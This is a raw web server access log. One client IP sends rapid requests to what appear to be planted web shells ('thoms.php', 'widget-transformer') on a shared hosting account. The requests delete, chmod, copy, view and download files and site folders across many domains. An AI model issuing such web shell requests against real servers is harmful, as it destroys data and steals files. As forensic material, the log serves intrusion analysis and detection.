45.135.193.11 - - [11/Sep/2026:23:54:19 -0400] "GET /biotaiwan.com.tw/widget-transformer/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fwidget-transformer%2F%2Fprofile.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fwidget-transformer%2F HTTP/1.1" 200 18778 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:19 -0400] "GET /biotaiwan.com.tw/widget-transformer/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fwidget-transformer%2F&location=%2F HTTP/1.1" 200 7888 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:19 -0400] "GET /biotaiwan.com.tw/widget-transformer/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fwidget-transformer%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 11149 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:19 -0400] "GET /biotaiwan.com.tw/widget-transformer/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fwidget-transformer%2F&option=folder HTTP/1.1" 200 6406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:19 -0400] "GET /biotaiwan.com.tw/widget-transformer/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fwidget-transformer%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fwidget-transformer%2F HTTP/1.1" 200 28427 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:19 -0400] "GET /biotaiwan.com.tw/widget-transformer/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fwidget-transformer%2F HTTP/1.1" 200 6396 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:19 -0400] "GET /biotaiwan.com.tw/widget-transformer/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fwidget-transformer%2F HTTP/1.1" 200 6377 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:19 -0400] "GET /biotaiwan.com.tw/widget-transformer/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fwidget-transformer%2F&option=file HTTP/1.1" 200 6406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:19 -0400] "GET /biotaiwan.com.tw/widget-transformer/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fwidget-transformer%2F&location=%2Fhome%2F HTTP/1.1" 200 5825 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:19 -0400] "GET /biotaiwan.com.tw/widget-transformer/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fwidget-transformer%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fwidget-transformer%2F HTTP/1.1" 200 6408 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:19 -0400] "GET /biotaiwan.com.tw/widget-transformer/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fwidget-transformer%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fwidget-transformer%2F HTTP/1.1" 200 6536 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:19 -0400] "GET /biotaiwan.com.tw/thoms.php?del=bft.com.tw&p= HTTP/1.1" 200 22644 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:20 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=big-wife.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:20 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=wp-content&p= HTTP/1.1" 200 12402 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:20 -0400] "GET /biotaiwan.com.tw/thoms.php?del=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 200 22641 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:20 -0400] "GET /biotaiwan.com.tw/thoms.php?p=&view=error_log HTTP/1.1" 200 12648 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:20 -0400] "GET /biotaiwan.com.tw/thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus.zip HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:20 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=bodbooks.com.tw&p= HTTP/1.1" 200 11446 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:20 -0400] "GET /biotaiwan.com.tw/thoms.php?p= HTTP/1.1" 200 22647 "https://163.245.207.76/biotaiwan.com.tw/thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus.zip" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:20 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=booking-wise2.com.tw&p= HTTP/1.1" 200 12412 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:20 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=.htaccess&p= HTTP/1.1" 200 12391 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:20 -0400] "GET /biotaiwan.com.tw/thoms.php?p=&view=mah-20260912023710.php HTTP/1.1" 200 11771 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:20 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:20 -0400] "GET /biotaiwan.com.tw/thoms.php?dl=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 22645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:20 -0400] "GET /biotaiwan.com.tw/thoms.php?del=broadweb.com.tw&p= HTTP/1.1" 200 22638 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:20 -0400] "GET /biotaiwan.com.tw/thoms.php?del=bfl.com.tw&p= HTTP/1.1" 200 22637 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:20 -0400] "GET /biotaiwan.com.tw/thoms.php?p= HTTP/1.1" 200 22636 "https://163.245.207.76/biotaiwan.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:20 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=wordpress-6.6-20260912023539&p= HTTP/1.1" 200 12401 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:20 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=broadweb.com-20260912023716&p= HTTP/1.1" 200 11447 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:20 -0400] "GET /biotaiwan.com.tw/thoms.php?p=&upload= HTTP/1.1" 200 12121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:20 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=besth2o.com.tw&p= HTTP/1.1" 200 12410 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:20 -0400] "GET /biotaiwan.com.tw/thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:20 -0400] "GET /biotaiwan.com.tw/thoms.php?p=big-wife.com.tw HTTP/1.1" 200 20728 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:20 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=error_log-20260912023633.&p= HTTP/1.1" 200 11451 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:20 -0400] "GET /biotaiwan.com.tw/thoms.php?del=booking-wise2.com.tw&p= HTTP/1.1" 200 22671 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:20 -0400] "GET /biotaiwan.com.tw/thoms.php?p= HTTP/1.1" 200 22646 "https://163.245.207.76/biotaiwan.com.tw/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:20 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=error_log&p= HTTP/1.1" 200 12387 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:20 -0400] "GET /biotaiwan.com.tw/thoms.php?del=.htaccess&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:20 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=error_log-20260912023633.&p= HTTP/1.1" 200 12406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:20 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=thoms.php&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:20 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 12413 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:20 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=booking-wise2.com.tw&p= HTTP/1.1" 200 11436 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:21 -0400] "GET /biotaiwan.com.tw/thoms.php?p= HTTP/1.1" 200 22646 "https://163.245.207.76/biotaiwan.com.tw/thoms.php?copy=thoms.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:21 -0400] "GET /biotaiwan.com.tw/thoms.php?p=bossini.com.tw HTTP/1.1" 200 20967 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:21 -0400] "GET /biotaiwan.com.tw/thoms.php?del=betcity.com.tw&p= HTTP/1.1" 200 22637 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:21 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=ba-guo.com-20260912023525&p= HTTP/1.1" 200 11448 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:21 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=betcity.com.tw&p= HTTP/1.1" 200 11431 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:21 -0400] "GET /biotaiwan.com.tw/thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 20629 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:21 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=betcity.com.tw&p= HTTP/1.1" 200 12409 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:21 -0400] "GET /biotaiwan.com.tw/thoms.php?p=bodbooks.com.tw HTTP/1.1" 200 17556 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:21 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=biotaiwan.com-20260912023713&p= HTTP/1.1" 200 11449 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:21 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=cgi-bin&p= HTTP/1.1" 200 12396 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:21 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=wordpress-6.6-20260912023539&p= HTTP/1.1" 200 11451 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:21 -0400] "GET /biotaiwan.com.tw/thoms.php?p=wordpress-6.6-20260912023539 HTTP/1.1" 200 16549 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:21 -0400] "GET /biotaiwan.com.tw/thoms.php?p=wp-content HTTP/1.1" 200 13963 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:21 -0400] "GET /biotaiwan.com.tw/thoms.php?del=wp-content&p= HTTP/1.1" 200 22645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:21 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=ba-guo.com.tw&p= HTTP/1.1" 200 11434 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:21 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=broadweb.com.tw&p= HTTP/1.1" 200 11446 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:21 -0400] "GET /biotaiwan.com.tw/thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17369 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:21 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=broadweb.com.tw&p= HTTP/1.1" 200 12404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:21 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=upgrade&p= HTTP/1.1" 200 11426 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:21 -0400] "GET /biotaiwan.com.tw/thoms.php?del=upgrade&p= HTTP/1.1" 200 22669 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:21 -0400] "GET /biotaiwan.com.tw/thoms.php?del=bogroup.com.tw&p= HTTP/1.1" 200 22662 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:21 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=betcity.com-20260912023741&p= HTTP/1.1" 200 11446 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:21 -0400] "GET /biotaiwan.com.tw/thoms.php?del=thoms-20260912023711.php&p= HTTP/1.1" 200 22622 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:21 -0400] "GET /biotaiwan.com.tw/thoms.php?del=bodbooks.com.tw&p= HTTP/1.1" 200 22548 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:21 -0400] "GET /biotaiwan.com.tw/thoms.php?p=upgrade HTTP/1.1" 200 14185 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:21 -0400] "GET /biotaiwan.com.tw/thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17376 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:21 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:21 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=bestzyx.com.tw&p= HTTP/1.1" 200 12410 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:21 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=cgi-bin&p= HTTP/1.1" 200 11430 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:21 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=wp-content&p= HTTP/1.1" 200 11429 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:21 -0400] "GET /biotaiwan.com.tw/thoms.php?p= HTTP/1.1" 200 22645 "https://163.245.207.76/biotaiwan.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TW&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:21 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=mah.php&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:21 -0400] "GET /biotaiwan.com.tw/thoms.php?dl=mah-20260912023710.php&p= HTTP/1.1" 200 22675 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:21 -0400] "GET /biotaiwan.com.tw/thoms.php?dl=thoms-20260912023711.php&p= HTTP/1.1" 200 22435 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:22 -0400] "GET /biotaiwan.com.tw/thoms.php?p=&view=thoms.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:22 -0400] "GET /biotaiwan.com.tw/thoms.php?p= HTTP/1.1" 200 22478 "https://163.245.207.76/biotaiwan.com.tw/thoms.php?chmod=mah.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:22 -0400] "GET /biotaiwan.com.tw/thoms.php?p=ba-guo.com.tw HTTP/1.1" 200 13112 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:22 -0400] "GET /biotaiwan.com.tw/thoms.php?p= HTTP/1.1" 200 22645 "https://163.245.207.76/biotaiwan.com.tw/thoms.php?p=&view=thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:22 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=ba-guo.com.tw&p= HTTP/1.1" 200 12419 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:22 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=bestjudy.com.tw&p= HTTP/1.1" 200 12412 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:22 -0400] "GET /biotaiwan.com.tw/thoms.php?del=besth2o.com-20260912023731&p= HTTP/1.1" 200 22631 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:22 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=bossini.com.tw&p= HTTP/1.1" 200 11442 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:22 -0400] "GET /biotaiwan.com.tw/thoms.php?del=wordpress-6.6-20260912023539&p= HTTP/1.1" 200 22644 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:22 -0400] "GET /biotaiwan.com.tw/thoms.php?del=cgi-bin&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:22 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=-20260912023718.htaccess&p= HTTP/1.1" 200 11448 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
